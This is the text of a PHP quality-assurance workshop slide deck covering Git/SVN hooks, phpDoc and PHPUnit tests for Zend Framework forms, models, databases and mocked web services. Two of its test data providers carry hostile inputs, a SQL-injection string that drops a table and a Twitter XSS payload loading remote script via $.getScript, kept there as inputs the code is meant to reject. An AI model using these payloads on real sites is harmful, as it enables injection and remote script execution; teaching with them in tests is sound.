232
Quality Assurance for PHP projects PHP community Belfast, Northern Ireland

Workshop quality assurance for php projects - phpbelfast

Embed Size (px)

DESCRIPTION

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Citation preview

Page 1: Workshop quality assurance for php projects - phpbelfast

Quality Assurancefor PHP projects

PHP community Belfast, Northern Ireland

Page 2: Workshop quality assurance for php projects - phpbelfast

Michelangelo van Dam

Page 3: Workshop quality assurance for php projects - phpbelfast

Thank you for having us

Page 4: Workshop quality assurance for php projects - phpbelfast

Schedule Workshop

Introduction to Quality AssuranceRevision control

DocumentingTesting

MeasuringAutomatingTeam works!

Page 5: Workshop quality assurance for php projects - phpbelfast

#phpqa

Page 6: Workshop quality assurance for php projects - phpbelfast

Introduction to QA

Page 7: Workshop quality assurance for php projects - phpbelfast

Why QA?

Page 8: Workshop quality assurance for php projects - phpbelfast

Why QA

Safeguarding code

Page 9: Workshop quality assurance for php projects - phpbelfast

Detect bugs early

Page 10: Workshop quality assurance for php projects - phpbelfast

Observe behavior

Page 11: Workshop quality assurance for php projects - phpbelfast

Prevent accidents from happening

Page 12: Workshop quality assurance for php projects - phpbelfast

Tracking progress

Page 13: Workshop quality assurance for php projects - phpbelfast

Why invest in QA?

Page 14: Workshop quality assurance for php projects - phpbelfast

Keeps your code in shape

Page 15: Workshop quality assurance for php projects - phpbelfast

Measures speed and performance

Page 16: Workshop quality assurance for php projects - phpbelfast

Boosts team spirit

Page 17: Workshop quality assurance for php projects - phpbelfast

Saves time

Page 18: Workshop quality assurance for php projects - phpbelfast

Reports continuously

Page 19: Workshop quality assurance for php projects - phpbelfast

Delivers ready to deploy packages

Page 20: Workshop quality assurance for php projects - phpbelfast

Quality Assurance Tools

Page 21: Workshop quality assurance for php projects - phpbelfast

Revision Control

Page 22: Workshop quality assurance for php projects - phpbelfast

Subversion

Page 23: Workshop quality assurance for php projects - phpbelfast

GIT

Page 24: Workshop quality assurance for php projects - phpbelfast

GitHub

Page 25: Workshop quality assurance for php projects - phpbelfast

Bitbucket

Page 26: Workshop quality assurance for php projects - phpbelfast

Mercurial

Page 27: Workshop quality assurance for php projects - phpbelfast

Bazaar

Page 28: Workshop quality assurance for php projects - phpbelfast

FTP

Page 29: Workshop quality assurance for php projects - phpbelfast

Advantages of SCM

• team development possible• tracking multi-versions of source code• moving back and forth in history• tagging of milestones• backup of source code• accessible from- command line- native apps- IDE’s- analytical tools

TIP:  hooks  for  tools

Page 30: Workshop quality assurance for php projects - phpbelfast

GIT Workflow

Page 31: Workshop quality assurance for php projects - phpbelfast

GIT-SCM

• Distributed SCM- everyone has a “master” repository• Works with public and private repositories- private: work in progress- public: finished work• Requires hierarchies to manage

Page 32: Workshop quality assurance for php projects - phpbelfast

Integration

DeveloperPrivate

DeveloperPrivate

DeveloperPrivate

IntegrationManager

DeveloperPublic

DeveloperPublic

DeveloperPublic

BlessedRepo

Page 33: Workshop quality assurance for php projects - phpbelfast

Branching

Commit smallCommit often

Page 34: Workshop quality assurance for php projects - phpbelfast

SCM Branching

Master

Project

Feature

Task/Issue

Page 35: Workshop quality assurance for php projects - phpbelfast

Real world branching

Page 38: Workshop quality assurance for php projects - phpbelfast

Syntax Checking

Page 39: Workshop quality assurance for php projects - phpbelfast

php  -­‐l  (lint)

h=p://www.php.net/manual/en/features.commandline.opEons.php

Page 40: Workshop quality assurance for php projects - phpbelfast

PHP Lint

• checks the syntax of code• build in PHP core• is used per file- pre-commit hook for version control system- batch processing of files• can provide reports- but if something fails -> the build fails

TIP:  pre-­‐commit  hook

Page 41: Workshop quality assurance for php projects - phpbelfast

Syntax

php -lf /path/to/filename.php

Page 42: Workshop quality assurance for php projects - phpbelfast

PHP  Lint  on  Command  Line

Page 43: Workshop quality assurance for php projects - phpbelfast

SVN Pre commit hook#!/bin/sh## Pre-commit hook to validate syntax of incoming PHP files, if no failures it# accepts the commit, otherwise it fails and blocks the commit

REPOS="$1"TXN="$2"

# modify these system executables to match your systemPHP=/usr/bin/phpAWK=/usr/bin/awkGREP=/bin/grepSVNLOOK=/usr/bin/svnlook

# PHP Syntax checking with PHP Lint# originally from Joe Stump at Digg# https://gist.github.com/53225#for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'`do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fidone

Page 44: Workshop quality assurance for php projects - phpbelfast

SVN  pre-­‐commit  hook

Page 45: Workshop quality assurance for php projects - phpbelfast

Documenting

Page 46: Workshop quality assurance for php projects - phpbelfast

Why documenting?

• new members in the team• working with remote workers• analyzing improvements• think before doing• used by IDE’s and editors for code hinting ;-)

Page 47: Workshop quality assurance for php projects - phpbelfast

PHPDoc2

phpDocumentor + DocBlox

March 16, 2012

Page 48: Workshop quality assurance for php projects - phpbelfast

Phpdoc2

Page 49: Workshop quality assurance for php projects - phpbelfast

Phpdoc2  class  details

Page 50: Workshop quality assurance for php projects - phpbelfast

Based  on  docblocks  in  code

Page 51: Workshop quality assurance for php projects - phpbelfast

And  the  output

Page 52: Workshop quality assurance for php projects - phpbelfast

Phpdoc2  class  relaEon  chart

Page 53: Workshop quality assurance for php projects - phpbelfast

Phpdoc2  on  your  project

Page 54: Workshop quality assurance for php projects - phpbelfast

Testing

Page 55: Workshop quality assurance for php projects - phpbelfast

unit testing 201:start testing!

Page 56: Workshop quality assurance for php projects - phpbelfast

Any reasons not to test?

Page 57: Workshop quality assurance for php projects - phpbelfast

Most common excuses

• no time• not within budget• development team does not know how• tests are provided after delivery• …

Page 58: Workshop quality assurance for php projects - phpbelfast

No excuses!

Page 59: Workshop quality assurance for php projects - phpbelfast

Maintainability

• during development- test will fail indicating bugs• after sales support- testing if an issue is genuine- fixing issues won’t break code base❖ if they do, you need to fix it!• long term projects- refactoring made easy

Page 60: Workshop quality assurance for php projects - phpbelfast

Remember

“Once a test is made, it will always be tested!”

Page 61: Workshop quality assurance for php projects - phpbelfast

Feel like on top of the world!

Page 62: Workshop quality assurance for php projects - phpbelfast

Confidence

• for the developer- code works• for the manager- project succeeds• for sales / general management / share holders- making profit• for the customer- paying for what they want

Page 63: Workshop quality assurance for php projects - phpbelfast

Everybody! likes this.

Page 64: Workshop quality assurance for php projects - phpbelfast

Don’t end up on this list!

extension:php mysql_query $_GET

Page 65: Workshop quality assurance for php projects - phpbelfast

Unit testing ZF apps

Page 66: Workshop quality assurance for php projects - phpbelfast

Setting things up

Page 67: Workshop quality assurance for php projects - phpbelfast

phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite>

<filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>

</phpunit>

Page 68: Workshop quality assurance for php projects - phpbelfast

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);

require_once 'Zend/Application.php';$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');

$application->bootstrap();

Page 69: Workshop quality assurance for php projects - phpbelfast

Zend_Tool since 1.11.4

• provides• phpunit.xml• bootstrap.php• IndexControllerTest.php

Ralph Schindler

Page 70: Workshop quality assurance for php projects - phpbelfast

Let’s get started…

Page 71: Workshop quality assurance for php projects - phpbelfast

Testing Zend_Form

Page 72: Workshop quality assurance for php projects - phpbelfast

CommentForm

Name:

E-mail Address:

Website:

Comment:

Post

Page 73: Workshop quality assurance for php projects - phpbelfast

Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }

}

Page 74: Workshop quality assurance for php projects - phpbelfast

The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data));}

Page 75: Workshop quality assurance for php projects - phpbelfast

Protection!

Protection

Page 76: Workshop quality assurance for php projects - phpbelfast

Little Bobby Tables

http://xkcd.com/327/

Page 77: Workshop quality assurance for php projects - phpbelfast

In the news…

Is this YOU?!?

Page 78: Workshop quality assurance for php projects - phpbelfast

The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data));}

Page 79: Workshop quality assurance for php projects - phpbelfast

Create the form class<?php

class Application_Form_CommentForm extends Zend_Form{

public function init() { /* Form Elements & Other Definitions Here ... */ }

}

Page 80: Workshop quality assurance for php projects - phpbelfast

Let’s run the test

Page 81: Workshop quality assurance for php projects - phpbelfast

Let’s put in our elements<?php

class Application_Form_CommentForm extends Zend_Form{

public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); }

}

Page 82: Workshop quality assurance for php projects - phpbelfast

Less errors?

Page 83: Workshop quality assurance for php projects - phpbelfast

Filter - Validate$this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),));$this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))),));

Page 84: Workshop quality assurance for php projects - phpbelfast

Green, warm & fuzzy

Page 85: Workshop quality assurance for php projects - phpbelfast

You’re a winner!

☑ quality code☑ tested☑ secure☑ reusable

Page 86: Workshop quality assurance for php projects - phpbelfast

Testing models

Page 87: Workshop quality assurance for php projects - phpbelfast

Testing business logic

• models contain logic- tied to your business- tied to your storage- tied to your resources• no “one size fits all” solution

Page 88: Workshop quality assurance for php projects - phpbelfast

Type: data containers

• contains structured data- populated through setters and getters• perform logic tied to it’s purpose- transforming data- filtering data- validating data• can convert into other data types- arrays- strings (JSON, serialized, xml, …)• are providers to other models

Page 89: Workshop quality assurance for php projects - phpbelfast

Comment Class

Page 90: Workshop quality assurance for php projects - phpbelfast

Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}

Page 91: Workshop quality assurance for php projects - phpbelfast

This test won’t run!

Page 92: Workshop quality assurance for php projects - phpbelfast

Create a simple model<?php

class Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); }}

Page 93: Workshop quality assurance for php projects - phpbelfast

We pass the test…

Page 94: Workshop quality assurance for php projects - phpbelfast

Really ???

Page 95: Workshop quality assurance for php projects - phpbelfast

Not all data from user input!

• model can be populated from- users through the form- data stored in the database- a webservice (hosted by us or others)• simply test it- by using same test scenario’s from our form

Page 96: Workshop quality assurance for php projects - phpbelfast

ALL DATA IS TAINTED!

Page 97: Workshop quality assurance for php projects - phpbelfast

The good stuffpublic function goodData(){ return array ( array ('John Doe', '[email protected]', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", '[email protected]', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', '[email protected]', 'http://caseysoftware.com', 'Doing a monkey dance'), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data);}

Page 98: Workshop quality assurance for php projects - phpbelfast

The bad stuffpublic function badData(){ return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }

Page 99: Workshop quality assurance for php projects - phpbelfast

Let’s run it

Page 100: Workshop quality assurance for php projects - phpbelfast

Modify our modelprotected $_filters;protected $_validators;

public function __construct($params = null){ $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); }}

Page 101: Workshop quality assurance for php projects - phpbelfast

Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this;}

public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this;}

Page 102: Workshop quality assurance for php projects - phpbelfast

Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this;}

public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this;}

Page 103: Workshop quality assurance for php projects - phpbelfast

and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this;}

Page 104: Workshop quality assurance for php projects - phpbelfast

Now we’re good!

Page 105: Workshop quality assurance for php projects - phpbelfast

Testing Databases

Page 106: Workshop quality assurance for php projects - phpbelfast

Integration Testing

• database specific functionality- triggers- constraints- stored procedures- sharding/scalability• data input/output- correct encoding of data- transactions execution and rollback

Page 107: Workshop quality assurance for php projects - phpbelfast

Points of concern

• beware of automated data types- auto increment sequence ID’s- default values like CURRENT_TIMESTAMP• beware of time related issues- timestamp vs. datetime- UTC vs. local time

Page 108: Workshop quality assurance for php projects - phpbelfast

The domain Model

• Model object• Mapper object• Table gateway object

Read more about it ☞

Page 109: Workshop quality assurance for php projects - phpbelfast

Change our test class

class Application_Model_CommentTest extends PHPUnit_Framework_TestCase

becomes

class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase

Page 110: Workshop quality assurance for php projects - phpbelfast

Setting DB Testing upprotected $_connectionMock;

public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; }}

public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));}

Page 111: Workshop quality assurance for php projects - phpbelfast

initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>

Page 112: Workshop quality assurance for php projects - phpbelfast

Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}

Page 113: Workshop quality assurance for php projects - phpbelfast

selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>

Page 114: Workshop quality assurance for php projects - phpbelfast

Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}

Page 115: Workshop quality assurance for php projects - phpbelfast

updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>

Page 116: Workshop quality assurance for php projects - phpbelfast

Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}

Page 117: Workshop quality assurance for php projects - phpbelfast

deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>

Page 118: Workshop quality assurance for php projects - phpbelfast

Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);}

Page 119: Workshop quality assurance for php projects - phpbelfast

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>

Page 120: Workshop quality assurance for php projects - phpbelfast

Run Test

Page 121: Workshop quality assurance for php projects - phpbelfast

What went wrong here?

Page 122: Workshop quality assurance for php projects - phpbelfast

AUTO_INCREMENT

Page 123: Workshop quality assurance for php projects - phpbelfast

Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('[email protected]') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs);}

Page 124: Workshop quality assurance for php projects - phpbelfast

insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="[email protected]" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="[email protected]" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="[email protected]" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>

Page 125: Workshop quality assurance for php projects - phpbelfast

Run Test

Page 126: Workshop quality assurance for php projects - phpbelfast

Testing web services

Page 127: Workshop quality assurance for php projects - phpbelfast

Web services remarks

• you need to comply with an API- that will be your reference• you cannot always make a test-call- paid services per call- test environment is “offline”- network related issues

Page 128: Workshop quality assurance for php projects - phpbelfast

Example: joind.in

Page 129: Workshop quality assurance for php projects - phpbelfast

http://joind.in/api

Page 130: Workshop quality assurance for php projects - phpbelfast

JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}

Page 131: Workshop quality assurance for php projects - phpbelfast

JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}

public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual);}

Page 132: Workshop quality assurance for php projects - phpbelfast

Testing the service

Page 133: Workshop quality assurance for php projects - phpbelfast

Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response>

I recently logged in ✔

Page 134: Workshop quality assurance for php projects - phpbelfast

And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response>

Latency of the network 1s !

Page 135: Workshop quality assurance for php projects - phpbelfast

Solution… right here!

Page 136: Workshop quality assurance for php projects - phpbelfast

Your expectations

Page 137: Workshop quality assurance for php projects - phpbelfast

JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}

Page 138: Workshop quality assurance for php projects - phpbelfast

JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml

<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}

Page 139: Workshop quality assurance for php projects - phpbelfast

